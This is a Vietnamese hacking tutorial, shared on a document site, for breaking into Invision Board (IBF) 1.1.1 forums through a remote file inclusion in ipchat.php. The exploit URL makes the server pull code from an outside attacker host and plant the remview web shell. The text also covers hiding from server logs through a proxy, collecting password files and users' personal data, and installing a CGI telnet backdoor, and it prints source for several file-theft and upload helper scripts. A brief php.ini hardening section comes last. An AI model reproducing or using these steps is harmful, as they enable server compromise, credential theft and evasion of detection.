intTypePromotion=1
zunia.vn Tuyển sinh 2024 dành cho Gen-Z zunia.vn zunia.vn
ADSENSE

Hack IBF 1

Chia sẻ: Nguyen Van Nam | Ngày: | Loại File: DOC | Số trang:18

120
lượt xem
26
download
 
  Download Vui lòng tải xuống để xem tài liệu đầy đủ

Tham khảo tài liệu 'hack ibf 1', công nghệ thông tin, an ninh - bảo mật phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả

Chủ đề:
Lưu

Nội dung Text: Hack IBF 1

  1. .Hack IBF 1.1.1 qua lỗi của file ipchat.php trang này đã được đọc  lần  http://[mục tiêu]/ipchat.php?root_path=http://www33.brinkster.com/nddt999/file/ sau đó bạn có thể xài remview qua địa chỉ: htt://[mục tiêu]/conf_global.php?c=l ­ để khai thác thành công lỗi này thì máy chủ phải cài forum ibf 1.1.1 chưa được patch lỗi code  injection trong file ipchat.php, php.ini : register_globals=on & allow_url_fopen=on nguyên nhân do file lỗi code injection trong file ipchat.php. nội dung của file này như sau: nếu cái server nào chưa được patch lỗi này và cấu hình php cho đăng kí biến toàn cục + truy cập  file remote thì chúng ta có thể khai thác đại loại như sau: http://[target]/ipchat?root_path=http://[attacker]/ cụ thể là http://[mục tiêu]/ipchat.php?root_path=http://www33.brinkster.com/nddt999/file thì nó dòng "require ... ;" trong file ipchat.php sẽ là: require "http://www33.brinkster.com/nddt999/file/conf_global.php"; file này sẽ thay đổi nội dung của file conf_global.php trên máy chủ và cài remview vào đây. ( bạn  xem 2 file http://www33.brinkster.com/nddt999/file/remview.php  & base64.php sẽ rõ, file  remview.php bị thay đổi một chút xíu cho phù hợp) ­ cho dù set quote đã được bật thì vẫn có thể khai thác được ở đây. hihi, bạn tham khảo source­ code của remview.php sẽ rõ! ­ mình chỉ lợi dụng một chỗ hở của forum IBF thôi. đây là một đoạn trong file hướng dẫn cài đặt  "bạn phải chmod 777 cho thư mục uploads và file conf_global.php trước khi tiến hành cài đặt  forum". quá tệ phải không? mình đã thử upload file remview.php lên thư mục uploads nhưng nó  chỉ được set user/group là uid&gid đang có hiệu lực hiện tại, cụ thể là  owner/group=nobody/nobody. khi safe mode đã được bật, nếu chạy 
  2. http://target/uploads/remview.php thì nó chẳng chạy đâu do owner/group là nobody/nobody khác  với owner/group của thư mục hiện tại. vì vậy chỉ có thể kiếm cái file nào đó được chmod 777 mà  xài thôi. mình chọn conf_global.php do file này default được set permisions là 777 à lưu ý bạn chỉ nên chạy dòng "http://[mục tiêu]/ipchat.php? root_path=http://www33.brinkster.com/nddt999/file/" MỘT LẦN DUY NHẤT! nếu chạy "http://[mục tiêu]/ipchat.php?root_path=http://www33.brinkster.com/nddt999/file/" ch úng  ta sẽ bị ghi nhất kí ngay. file .log của httpd như sau: ??/??/2003 ­ [111.222.333.444] GET /ipchat.php? root_path=http://www33.brinkster.com/nddt999/file/ HTTP/1.0 để tránh ghi nhật kí khi khai thác, bạn tạo một file html như sau: mở IE, set lại proxy là "proxy.ia2.marketscore.com" và sau đó chạy file html vừa tạo. ok, nhật kí  của httpd sẽ như sau: ??/??/2003 ­ proxy.ia2.marketscore.com [66.119.34.38] ­ POST /ipchat.php HTTP/1.0 thật sự thì họ chẳng biết địa chỉ ip của chúng ta và cũng chẳng biết được chúng ta đã cài  remview.php bằng cách nào nữa ­ chúng ta tiếp tục với việc leo thang quyền. sau khi bạn upload file remview.php bạn có thể xài  đồ nghề này để đi kiếm chát vài thứ khác. các file bạn cần để ý đến là .passwd, passwords.txt,  users.txt, config.php, ... chúng ta sẽ thăm dò toàn bộ các file chứa username & password. bạn  cũng nên thu thập thêm vài thông tin khác như địa chỉ email, thông tin cá nhân của các users mà  bạn có thể truy cập đến trên server. một vấn đề nữa là bạn nên cố tìm trên server file .cgi, .pl gặp  lỗi (thường nằm trong thư mục cgi­bin) hoặc các thư mục cgi mà chúng ta có thể upload file cgi.  khi chế độ safemode đã được bật thì rất khó làm gì được. chúng ta nên chuyển sang xài cgi để  hack dễ hơn. hihi, bạn cố gắng upload backdoor cgitelnet.pl lên server để xài nha. ­ một số đồ nghề php mà mình đã code (để hổ trợ cho hack code injection thôi). uh, mình quên  viết sql.php rồi  ­ http://www33.brinkster.com/nddt999/file/tree.php  : dir tree, rất cần để tham dò toàn bộ cấu trúc  của thư mục public_html ­ http://www33.brinkster.com/nddt999/file/phpinfo.php  : xác định uid/gid đang có hiệu lực và lấy 
  3. thông tin từ hàm phpinfo();  ­ http://www33.brinkster.com/nddt999/file/dir.php : liệt kê 1 thư mục cụ thể ­ http://www33.brinkster.com/nddt999/file/url.php : upload file qua url:// (http:// & ftp://) ­ http://www33.brinkster.com/nddt999/file/view.php : xem nộ dung của 1 file cụ thể trên máy chủ ­ http://www33.brinkster.com/nddt999/file/get.php : lấy file từ máy chủ về máy mình ­ http://www33.brinkster.com/nddt999/file/cmd.php : thực thi lệnh hệ thống mấy thứ này các bạn nên code lại tuỳ theo hoàn cảnh cụ thể của bạn. riêng mình thì mình thích  nhất là hai file tree.php & phpinfo.php mà mình đã code  * phòng thủ cho forum IBF của bạn (nói chung là cho PHP): ­ xoá ngay file ipchat.php trên server ­ chmod lại cho file conf_global.php là 755 ­ cấu hình lại file php.ini như sau: allow_url_fopen=off // không có phép lấy file bằng url:// disable_functions=system passthru exec popen mail" // vô hiệu các hàm php nguy hiểm display_errors=off // không hiện lỗi php để đề phòng trường hợp tiết lộ thông tin về thư mục đang  làm việc, dòng vấn tin sql gặp lỗi và một số thông tin khác ... file_uploads=off // không cho phép upload file server (nếu bạn thấy không cần) magic_quotes_gpc=on // bật quote magic_quotes_runtime=on magic_quotes_sybase=on register_globals=off // không tự động đăng kí biến toàn cục safe_mode=on // bật chế độ an toàn cho PHP safe_mode_exec_dir=/usr/none // không cho thi hành lệnh hệ thống, bạn thay "/usr/none" thành  tên thư mục nào khác mà không chứa gì hết có gì hết và đã được set quyền an toàn safe_mode_gid=on // bật chế độ an toàn so sánh gid/uid trước khi chạy kịch bản php sql.safe_mode=on // bật chế độ an toàn trước khi vấn tin sql Sockets Support = disabled // vô hiệu các hàm liên quan đến socket nếu ban không bao giờ dùng  đến. bạn nên tham khảo thêm tài liệu php về hai hàm set_magic_quotes_runtime(1); & ini_set()  Code các file trên : ­­­­­­­ tree.php ­ Code by vkdt ­­­­­­­
  4. if (function_exists("ob_start")) ob_start("ob_gzhandler"); $autovars1="path"; foreach (explode(" ",$autovars1) as $k=>$v) if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v]; elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v]; elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v]; $autovars2="path"; if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) foreach (explode(" ",$autovars2) as $k=>$v) if (isset($$v)) $$v=stripslashes($$v); if (!isset($path)) $path=realpath("."); $path=str_replace("\\","/",$path); $html=
  5. $files=array(); if ($dir=@opendir($df)) { while (($file=readdir($dir))!=false) { if ($file=="." || $file=="..") continue; if (@is_dir("$df/$file")) { $dirs[]=$file; } elseif (@is_file("$df/$file")) { $files[]=$file; } } closedir($dir); sort($dirs); sort($files); if (count($dirs) || count($files)) { $perms=get_perms(fileperms($df)); if (function_exists("posix_getpwuid")) { $uid=posix_getpwuid(fileowner($df)); $owner=$uid["name"]; } else $owner=""; if (function_exists("posix_getgrgid")) { $gid=posix_getgrgid(filegroup($df)); $group=$gid["name"]; } else $group=""; if ($owner=="" && $owner=="") $more=$perms; else $more="$owner/$group $perms"; $html=
  6. html; echo $html; $total_dirs=count($dirs); $total_files=count($files); $total_size=0; for ($i=0; $i
  7. $modify=date("H:i:s d/m/Y", filemtime($df."/".$files[$i])); if (function_exists("posix_getpwuid")) { $uid=posix_getpwuid(fileowner($df."/".$files[$i])); $owner=$uid["name"]; } else $owner=""; if (function_exists("posix_getgrgid")) { $gid=posix_getgrgid(filegroup($df."/".$files[$i])); $group=$gid["name"]; } else $group=""; if ($owner=="" && $owner=="") $owns=" "; else $owns="$owner/$group"; $perms=get_perms(fileperms($df."/".$files[$i])); $html=
  8. $kilobyte=1024; $megabyte=1048576; $gigabyte=1073741824; $terabyte=1099511627776; if ($size>=$terabyte) return number_format($size/$terabyte, 2, ',', '.')." TB"; else if ($size>=$gigabyte) return number_format($size/$gigabyte, 2, ',', '.')." GB"; else if ($size>=$megabyte) return number_format($size/$megabyte, 2, ',', '.')." MB"; else if ($size>=$kilobyte) return number_format($size/$kilobyte, 2, ',', '.')." KB"; else return number_format($size, 0, ',', '.')." B"; } function get_perms($p) { if (($p & 0xC000) === 0xC000) $type = 's'; else if (($p & 0x4000) === 0x4000) $type = 'd'; else if (($p & 0xA000) === 0xA000) $type = 'l'; else if (($p & 0x8000) === 0x8000) $type = '­'; else if (($p & 0x6000) === 0x6000) $type = 'b'; else if (($p & 0x2000) === 0x2000) $type = 'c'; else if (($p & 0x1000) === 0x1000) $type = 'p'; else $type='?'; $u["r"] = ($p & 00400) ? 'r' : '­'; $u["w"] = ($p & 00200) ? 'w' : '­'; $u["x"] = ($p & 00100) ? 'x' : '­'; $g["r"] = ($p & 00040) ? 'r' : '­'; $g["w"] = ($p & 00020) ? 'w' : '­'; $g["x"] = ($p & 00010) ? 'x' : '­'; $o["r"] = ($p & 00004) ? 'r' : '­'; $o["w"] = ($p & 00002) ? 'w' : '­'; $o["x"] = ($p & 00001) ? 'x' : '­'; if($p & 0x800) $u["x"] = ($u["x"] == 'x') ? 's' : 'S'; if($p & 0x400) $g["x"] = ($g["x"] == 'x') ? 's' : 'S'; if($p & 0x200) $o["x"] = ($o["x"] == 'x') ? 't' : 'T'; return $type.$u["r"].$u["w"].$u["x"].$g["r"].$g["w"].$g["x"].$o["r"].$o["w"].$o["x"]; } ?> ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­ phpinfo.php ­ Code by vkdt ­­­­­­­­­
  9. $uid=@posix_getuid(); $user=@posix_getpwuid($uid); $gid=$user['gid']; $group=@posix_getgrgid($gid); echo "Working directory: " . getcwd() . "\nEffective GID/UID: $uid/$gid (" .   $user['name'] . "/" . $group['name'] . ")\n"; phpinfo(); exit; ?> ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­­­­­­­­­­­­ cmd.php ­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­­­­­­­ view.php ­­­­­­­­­­­­­­­­­­­­­­­­­­
  10. $data html; echo $html; } exit; ?> ­­­­­­­­­­­­­­ get.php ­­­­­­­­­­­­­­­­­­­
  11. "application/x­sh" => "sh", "application/x­shar" => "shar", "application/x­shockwave­flash" => "swf", "application/x­stuffit" => "sit", "application/x­sv4cpio" => "sv4cpio", "application/x­sv4crc" => "sv4crc", "application/x­tar" => "tar", "application/x­tcl" => "tcl", "application/x­tex" => "tex", "application/x­texinfo" => "texinfo texi", "application/x­troff" => "t tr roff", "application/x­troff­man" => "man", "application/x­troff­me" => "me", "application/x­troff­ms" => "ms", "application/x­ustar" => "ustar", "application/x­wais­source" => "src", "application/zip" => "zip", "audio/basic" => "au snd", "audio/midi" => "mid midi kar", "audio/mpeg" => "mpga mp2 mp3", "audio/x­aiff" => "aif aiff aifc", "audio/x­mpegurl" => "m3u", "audio/x­pn­realaudio" => "ram rm", "audio/x­pn­realaudio­plugin" => "rpm", "audio/x­realaudio" => "ra", "audio/x­wav" => "wav", "chemical/x­pdb" => "pdb", "chemical/x­xyz" => "xyz", "image/bmp" => "bmp", "image/gif" => "gif", "image/ief" => "ief", "image/jpeg" => "jpeg jpg jpe", "image/png" => "png", "image/tiff" => "tiff tif", "image/vnd.wap.wbmp" => "wbmp", "image/x­cmu­raster" => "ras", "image/x­portable­anymap" => "pnm", "image/x­portable­bitmap" => "pbm", "image/x­portable­graymap" => "pgm", "image/x­portable­pixmap" => "ppm", "image/x­rgb" => "rgb", "image/x­xbitmap" => "xbm", "image/x­xpixmap" => "xpm",
  12. "image/x­xwindowdump" => "xwd", "model/iges" => "igs iges", "model/mesh" => "msh mesh silo", "model/vrml" => "wrl vrml", "text/css" => "css", "text/html" => "html htm", "text/plain" => "asc txt", "text/richtext" => "rtx", "text/rtf" => "rtf", "text/sgml" => "sgml sgm", "text/tab­separated­values" => "tsv", "text/vnd.wap.wml" => "wml", "text/vnd.wap.wmlscript" => "wmls", "text/x­setext" => "etx", "text/xml" => "xml xsl", "video/mpeg" => "mpeg mpg mpe", "video/quicktime" => "qt mov", "video/vnd.mpegurl" => "mxu", "video/x­msvideo" => "avi", "video/x­sgi­movie" => "movie", "x­conference/x­cooltalk" => "ice", ); if (isset($HTTP_GET_VARS['filename']))  $fullpath=realpath(stripslashes($HTTP_GET_VARS['filename'])); else exit; $filename=basename($fullpath); if (is_file($fullpath) && is_readable($fullpath)) { header("Content­Type: ".get_mimetype($filename)); header("Content­Length: ".filesize($fullpath)); header("Content­Disposition: attachment; filename=$filename"); readfile($fullpath); } exit; function get_mimetype($filename) ## Get MIME­type for file { global $MIMEtypes;
  13. reset($MIMEtypes); $extension = strtolower(substr(strrchr($filename, "."),1)); if ($extension == "") return "Unknown/Unknown"; while (list($mimetype, $file_extensions) = each($MIMEtypes)) foreach (explode(" ", $file_extensions) as $file_extension) if ($extension == $file_extension) return $mimetype; return "Unknown/Unknown"; } ?> ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­­­­­­­­ dir.php ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­
  14. $files=array(); $links=array(); $di=dir($path); while (false!==($name=$di­>read())) { $ftype[$name] =filetype($name); $fsize[$name] =filesize ($name); $ftime[$name] =filemtime($name); $fperms[$name]=fileperms($name); $fowner[$name]=fileowner($name); $fgroup[$name]=filegroup($name); switch ($ftype[$name]) { case 'dir': $ftype[$name]="DIR"; $dirs[]=strval($name); break; case 'file': $ftype[$name]=" "; $files[]=strval($name); if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok)) $fext[$name]=strtolower($ok[1]); else   $fext[$name]=""; break; case 'link': $ftype[$name]="­>"; $links[]=strval($name); break; } } $di­>close(); $names=array(); // dirs $listsort=array(); if (count($dirs)) foreach ($dirs as $v) $listsort[$v]=strtolower($v); asort($listsort); $names=$listsort; // links $listsort=array(); if (count($links)) foreach ($links as $v) $listsort[$v]=strtolower($v); asort($listsort); $names=array_merge($names, $listsort);
  15. // files $listsort=array(); if (count($files)) foreach ($files as $v) $listsort[$v]="$fext[$v] $v"; asort($listsort); $names=array_merge($names, $listsort); //print_r($names); $html=
  16. $tmp=@_posix_getgrgid($fgroup[$k]); if (!isset($tmp['name']) || $tmp['name']=="") $group=""; else $group=$tmp['name']; if ($owner=="" || $group=="") $owns=" "; else $owns="$owner/$group"; $perms=get_perms($fperms[$k]); if ($perms=="") $perms=" "; $html=
  17. if( $mode & 0x1000 ) $type='p'; /* FIFO pipe */  else if( $mode & 0x2000 ) $type='c'; /* Character special */  else if( $mode & 0x4000 ) $type='d'; /* Directory */  else if( $mode & 0x6000 ) $type='b'; /* Block special */  else if( $mode & 0x8000 ) $type='­'; /* Regular */  else if( $mode & 0xA000 ) $type='l'; /* Symbolic Link */  else if( $mode & 0xC000 ) $type='s'; /* Socket */  else $type='u'; /* UNKNOWN */  // xac dinh Perms $owner['read'] = ($mode & 00400) ? 'r' : '­';  $owner['write'] = ($mode & 00200) ? 'w' : '­';  $owner['execute'] = ($mode & 00100) ? 'x' : '­';  $group['read'] = ($mode & 00040) ? 'r' : '­';  $group['write'] = ($mode & 00020) ? 'w' : '­';  $group['execute'] = ($mode & 00010) ? 'x' : '­';  $world['read'] = ($mode & 00004) ? 'r' : '­';  $world['write'] = ($mode & 00002) ? 'w' : '­';  $world['execute'] = ($mode & 00001) ? 'x' : '­';  // hieu chinh SUID, SGID & bit sticky if( $mode & 0x800 ) $owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';  if( $mode & 0x400 ) $group['execute'] = ($group['execute']=='x') ? 's' : 'S';  if( $mode & 0x200 ) $world['execute'] = ($world['execute']=='x') ? 't' : 'T';  $s=sprintf("%1s", $type);  $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);  $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);  $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);  return trim($s); } exit; ?> ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ­­­­­­­­­­­­­­­­­­­­ url.php ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­
  18. if (isset($filename) && isset($url)) { if ($fp1=@fopen($filename, "wb")) { echo "a"; if ($fp2=@fopen($url, "rb")) { while (!feof($fp2)) { fwrite($fp1, fread($fp2, 1024)); } fclose($fp2); } fclose($fp1); } } exit; ?> Error! Unknown switch argument.

CÓ THỂ BẠN MUỐN DOWNLOAD

 

Đồng bộ tài khoản
2=>2